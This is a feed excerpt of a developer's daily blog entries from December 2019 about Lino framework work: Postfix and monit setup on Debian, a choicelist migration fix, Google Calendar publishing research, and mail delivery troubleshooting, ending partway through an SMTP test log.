&lt;h1&gt;Sunday, December 15, 2019&lt;a class="headerlink" href="#sunday-december-15-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I inserted FQDN and HOSTNAME instead of their real values:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt update
...
73 packages can be upgraded. Run &amp;#39;apt list --upgradable&amp;#39; to see them.
N: Repository &amp;#39;https://mirrors.gandi.net/debian buster InRelease&amp;#39; changed its &amp;#39;Version&amp;#39; value from &amp;#39;10.1&amp;#39; to &amp;#39;10.2&amp;#39;

$ sudo apt upgrade

$ sudo apt install postfix
...
Suggested packages:
  procmail postfix-mysql postfix-pgsql postfix-ldap postfix-pcre postfix-lmdb postfix-sqlite sasl2-bin | dovecot-common libsasl2-modules | dovecot-common resolvconf postfix-cdb mail-reader ufw postfix-doc
  openssl-blacklist
The following NEW packages will be installed:
  postfix ssl-cert
...
Not creating home directory `/var/spool/postfix&amp;#39;.
Creating /etc/postfix/dynamicmaps.cf
Adding group `postdrop&amp;#39; (GID 114) ...
Done.
setting myhostname: HOSTNAME
setting alias maps
setting alias database
changing /etc/mailname to FQDN
setting myorigin
setting destinations: $myhostname, FQDN, HOSTNAME, localhost.localdomain, localhost
setting relayhost:
setting mynetworks: 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
setting mailbox_size_limit: 0
setting recipient_delimiter: +
setting inet_interfaces: all
setting inet_protocols: all
/etc/aliases does not exist, creating it.
WARNING: /etc/aliases exists, but does not have a root alias.

Postfix (main.cf) is now set up with a default configuration.  If you need to
make changes, edit /etc/postfix/main.cf (and others) as needed.  To view
Postfix configuration values, see postconf(1).

After modifying main.cf, be sure to run &amp;#39;service postfix reload&amp;#39;.

Running newaliases
Created symlink /etc/systemd/system/multi-user.target.wants/postfix.service → /lib/systemd/system/postfix.service.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Install monit on Debian Buster:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ wget http://ftp.fr.debian.org/debian/pool/main/m/monit/monit_5.26.0-3_amd64.deb
...
$ sudo dpkg --install monit_5.26.0-3_amd64.deb
Selecting previously unselected package monit.
(Reading database ... 58629 files and directories currently installed.)
Preparing to unpack monit_5.26.0-3_amd64.deb ...
Unpacking monit (1:5.26.0-3) ...
dpkg: dependency problems prevent configuration of monit:
 monit depends on libcrypt1 (&amp;gt;= 1:4.1.0); however:
  Package libcrypt1 is not installed.

dpkg: error processing package monit (--install):
 dependency problems - leaving unconfigured
Processing triggers for systemd (241-7~deb10u2) ...
Processing triggers for man-db (2.8.5-2) ...
Errors were encountered while processing:
 monit

$ sudo apt install libcrypt1
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package libcrypt1 is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source

E: Package &amp;#39;libcrypt1&amp;#39; has no installation candidate
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Maybe it is easier to wait until monit has made it into stable. When can I
expect this to happen?  Maybe soon, because some days ago it has been accepted
to unstable:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;[2019-12-12] Accepted monit 1:5.26.0-3 (source) into unstable (Sergey B Kirpichev)&lt;/p&gt;
&lt;p&gt;(seen on &lt;a class="reference external" href="https://tracker.debian.org/pkg/monit"&gt;https://tracker.debian.org/pkg/monit&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1215.html</guid><pubDate>Sun, 15 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, December 14, 2019</title><link>https://luc.lino-framework.org/blog/2019/1214.html</link><description>&lt;section id="saturday-december-14-2019"&gt;
&lt;h1&gt;Saturday, December 14, 2019&lt;a class="headerlink" href="#saturday-december-14-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1214.html</guid><pubDate>Sat, 14 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Friday, December 13, 2019</title><link>https://luc.lino-framework.org/blog/2019/1213.html</link><description>&lt;section id="friday-december-13-2019"&gt;
&lt;h1&gt;Friday, December 13, 2019&lt;a class="headerlink" href="#friday-december-13-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I upgraded our own &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; production site, which made me discover a bug.&lt;/p&gt;
&lt;p&gt;I had reviewed the names and values for &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.CommonAccounts" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.CommonAccounts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
(&lt;a class="reference external" href="https://github.com/lino-framework/xl/commit/f3f4c54d6a49de3a37c2239416c4338252ea06a2#diff-0f305d08e906793950f4cb18ce44a786"&gt;commit&lt;/a&gt;)
and &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.VatClasses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.VatClasses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
(&lt;a class="reference external" href="https://github.com/lino-framework/xl/commit/f3f4c54d6a49de3a37c2239416c4338252ea06a2#diff-ec62eebf936040bd8ac09a880e7d0f42"&gt;commit&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;As expected, this caused a series of error messages:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;ledger.Account type object ‘CommonAccounts’ has no attribute ‘4400’ (1 object(s) with primary key 4)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ledger.Account type object ‘CommonAccounts’ has no attribute ‘4550’ (1 object(s) with primary key 46)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ledger.Account type object ‘CommonAccounts’ has no attribute ‘4600’ (1 object(s) with primary key 6)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ledger.Account type object ‘CommonAccounts’ has no attribute ‘4512’ (1 object(s) with primary key 9)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ledger.Account type object ‘CommonAccounts’ has no attribute ‘4511’ (1 object(s) with primary key 66)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ledger.Account type object ‘VatClasses’ has no attribute ‘0’ (2 object(s) with primary key 36, 55)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;vat.InvoiceItem type object ‘VatClasses’ has no attribute ‘2’ (39 object(s) with primary key 6, 8, 10, 11, 12, 13, 14, 16, 17, 18, 19, 20, 21, 22, 24, 26, 35, 37, 38, 40, 42, 43, 46, 48, 49, 50, 52, 53, 55, 56, 58, 60, 62, 63, 65, 66, 67, 69, 71)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So this change requires the following code in the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;
&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accounting&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CommonAccounts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;old2new&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;4400&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;4100&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# suppliers&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;4550&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;4800&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# clearings&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;4600&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;4500&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# tax_offices&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;4511&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;4530&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# vat_returnable&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;4512&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;4520&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# vat_deductible&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;4500&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;4200&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# employees&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatClasses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;old2new&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;0&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;030&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# exempt&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;1&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;020&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# reduced&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;2&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;010&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# goods&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;# our antional vat plugin&lt;/span&gt;
&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eevat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatColumns&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;old2new&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Above trick requires a little change in the way Lino handles the
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.choicelists.html#lino.core.choicelists.ChoiceList.old2new" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;old2new&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; attribute: this map
must get looked up before testing whether a value exists.  Because otherwise I
cannot handle cases where a choicelist with values a, b and c changes these to
c, d, and e.&lt;/p&gt;
&lt;p&gt;The sign_in action was no longer available when
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.is_demo_site" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;is_demo_site&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was False.
Because UsersOverview was abstract. As a quick fix I re-made it available also when
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.is_demo_site" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;is_demo_site&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is False.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.eevat.html#module-lino_xl.lib.eevat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.eevat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was still using the F12 field in one of the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors.Actor.column_names&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;section id="nests-of-lino-applications"&gt;
&lt;h2&gt;Nests of Lino applications&lt;a class="headerlink" href="#nests-of-lino-applications" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Start a new Lino application “Lino Nido”. (At least this is my current favourite
for the name: a nest of Lino sites.) Nido would be a Lino application running at
the top-level domain of a Lino server  like &lt;cite&gt;mylino.net&lt;/cite&gt;. It manages users,
contacts, and sites. A Site in Nido, is a Lino site running on the same machine.
Creating a Site would call &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/api/getlino.startsite.html#module-getlino.startsite" title="(in getlino docs)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino.startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  Every site is owned by a
user. Nido will want online registration. Users can ask for a snapshot of their
site.  Inspired by a post &lt;a class="reference external" href="https://www.howtoforge.com/tutorial/how-to-create-your-own-video-conference-using-jitsi-meet-on-ubuntu-1804/"&gt;How to Create Your Own Video Conference Server
using Jitsi Meet on Ubuntu 18.04 LTS&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Before starting this, we should rename Site to Order in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.tickets.html#module-lino_xl.lib.tickets" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. There is a ticket for this.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="publishing-a-calendar-to-mobile-iphone-and-android-clients"&gt;
&lt;h2&gt;Publishing a calendar to mobile iPhone and Android clients&lt;a class="headerlink" href="#publishing-a-calendar-to-mobile-iphone-and-android-clients" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did some research for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3144"&gt;#3144&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://sporttracks.mobi/blog/how-publish-your-sporttracks-calendar"&gt;sporttracks.mobi&lt;/a&gt; website
has or had this feature implemented using an ics file.  And the comments reveal
that they invested quite some time and encountered those same problems that made
us stop this way some time ago:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Google loads any changes from the ics file only every 24 hours.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;no hope to synchronize back from the mobile client to the Lino server&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My next idea is to extend Lino so that the calendar entries get published to a
Google calendar using the Google calendar Python API.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://developers.google.com/calendar/quickstart/python"&gt;https://developers.google.com/calendar/quickstart/python&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Okay, the quickstart example is not enough because I want to publish.&lt;/p&gt;
&lt;p&gt;But the &lt;a class="reference external" href="https://developers.google.com/resources/api-libraries/documentation/calendar/v3/python/latest/"&gt;Calendar API&lt;/a&gt;
PyDocs might be interesting.&lt;/p&gt;
&lt;p&gt;I downloaded my credentials.json file and installed the required packages:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;google&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="n"&gt;google&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;httplib2&lt;/span&gt; &lt;span class="n"&gt;google&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;oauthlib&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I started to play and published the result of my first session as a
file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/examples/google/calendar1.py&lt;/span&gt;&lt;/code&gt; in the &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt; repository.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://stackoverflow.com/questions/26536772/google-calendar-api-calendars-vs-calendarlist"&gt;This thread on stackoverflow&lt;/a&gt;
explains the difference between “calendars” and “calendarList”.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1213.html</guid><pubDate>Fri, 13 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, December 12, 2019</title><link>https://luc.lino-framework.org/blog/2019/1212.html</link><description>&lt;section id="thursday-december-12-2019"&gt;
&lt;h1&gt;Thursday, December 12, 2019&lt;a class="headerlink" href="#thursday-december-12-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Both the Belgian and Estonian VAT declarations have a double field for the
“final result”, i.e. the sum of all amounts to pay or to receive. I guess that
they want to have a clear visual difference between a negative and a positive
results. Understandable.&lt;/p&gt;
&lt;p&gt;TIL : But in Lino we are not going to waste two separate database fields for
this.  It’s too easy to add this condition in the template for the printable or
the XML file. A positive number means “positive” for the VAT office because they
will get money from us. When using &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.bevats.html#module-lino_xl.lib.bevats" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.bevats&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; you will never ask
to return VAT, so the number in that field will always be positive.&lt;/p&gt;
&lt;section id="learning-about-mail-servers"&gt;
&lt;h2&gt;Learning about mail servers&lt;a class="headerlink" href="#learning-about-mail-servers" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I am manually checking the &lt;a class="reference external" href="https://hosting.lino-framework.org/mail/dive/#xfile-etc-postfix-main.cf" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/postfix/main.cf&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file on SR and LF.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;mydomain&lt;/cite&gt; was wrong. It was set to “mail.lino-framework.org” but must be
“lino-framework.org”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;mydestination had duplicate entries.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I removed “compatibility_level=2”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;mydestination = $myhostname localhost.$mydomain localhost $mydomain&lt;/p&gt;
&lt;p&gt;Until now this was repeated manually instead of using the variables, and it
had commas as separators. EDIT: seems that the commas come from the default
installation. That’s different from the docs, but I guess postfix ignores
them.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here are now our standard config settings:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;myhostname = mail.example.com
myorigin = /etc/mailname
mydestination = $myhostname localhost.$mydomain localhost $mydomain
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
mynetworks_style = host
relay_domains =
inet_interfaces = all
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is what status should say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo service postfix status
● postfix.service - Postfix Mail Transport Agent
   Loaded: loaded (/lib/systemd/system/postfix.service; enabled; vendor preset: enabled)
   Active: active (exited) since Thu 2019-12-12 12:01:59 UTC; 7s ago
  Process: 2262 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
 Main PID: 2262 (code=exited, status=0/SUCCESS)

Dec 12 12:01:59 my-host-name systemd[1]: Starting Postfix Mail Transport Agent...
Dec 12 12:01:59 my-host-name systemd[1]: Started Postfix Mail Transport Agent.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1212.html</guid><pubDate>Thu, 12 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, December 11, 2019</title><link>https://luc.lino-framework.org/blog/2019/1211.html</link><description>&lt;section id="wednesday-december-11-2019"&gt;
&lt;h1&gt;Wednesday, December 11, 2019&lt;a class="headerlink" href="#wednesday-december-11-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="learning-about-mail-servers"&gt;
&lt;h2&gt;Learning about mail servers&lt;a class="headerlink" href="#learning-about-mail-servers" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PTR record issue seems fixed, but ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3339"&gt;#3339&lt;/a&gt; is still open. There
are at least two mailing list on LF having this problem.   The people say that
they have no problem receiving mails to their &amp;#64;hot.ee address from other
senders. I want to understand what’s happening.&lt;/p&gt;
&lt;p&gt;&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;mx1.hot.ee[194.126.101.119]:25&lt;/span&gt;&lt;/code&gt;
continues to say “Service currently unavailable (in reply to RCPT TO command))”
when LF wants to deliver them 3 mails to recipients &lt;cite&gt;&amp;#64;hot.ee&lt;/cite&gt;.  And when LF
tries again 5 minutes later, it even says “550 5.7.1 Connection timed out (in
reply to end of DATA command))”.&lt;/p&gt;
&lt;p&gt;I guess they are using postscreen. Quote from the &lt;a class="reference external" href="http://www.postfix.org/POSTSCREEN_README.html"&gt;docs&lt;/a&gt;: “In a typical deployment,
postscreen(8) handles the MX service on TCP port 25, while MUA clients submit
mail via the submission service on TCP port 587 which requires client
authentication. Alternatively, a site could set up a dedicated, non-postscreen,
“port 25” server that provides submission service and client authentication, but
no MX service.”&lt;/p&gt;
&lt;p&gt;How can I test an SMTP relay server from outside?   I mean a little program that
sends an email and then reports how the server “behaves”. On &lt;a class="reference external" href="https://www.wormly.com/test-smtp-server"&gt;wormly.com&lt;/a&gt; there is a page that does exactly
what I mean. When sending to &lt;a class="reference external" href="mailto:luc&amp;#37;&amp;#52;&amp;#48;lino-framework&amp;#46;org"&gt;luc&lt;span&gt;&amp;#64;&lt;/span&gt;lino-framework&lt;span&gt;&amp;#46;&lt;/span&gt;org&lt;/a&gt; I get a normal answer:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Resolving&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Connecting&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;opening&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
                       &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;opened&lt;/span&gt;
&lt;span class="n"&gt;SERVER&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;CLIENT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;220&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt; &lt;span class="n"&gt;ESMTP&lt;/span&gt; &lt;span class="n"&gt;Postfix&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Debian&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;GNU&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;CLIENT&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SERVER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;EHLO&lt;/span&gt; &lt;span class="n"&gt;tools&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wormly&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
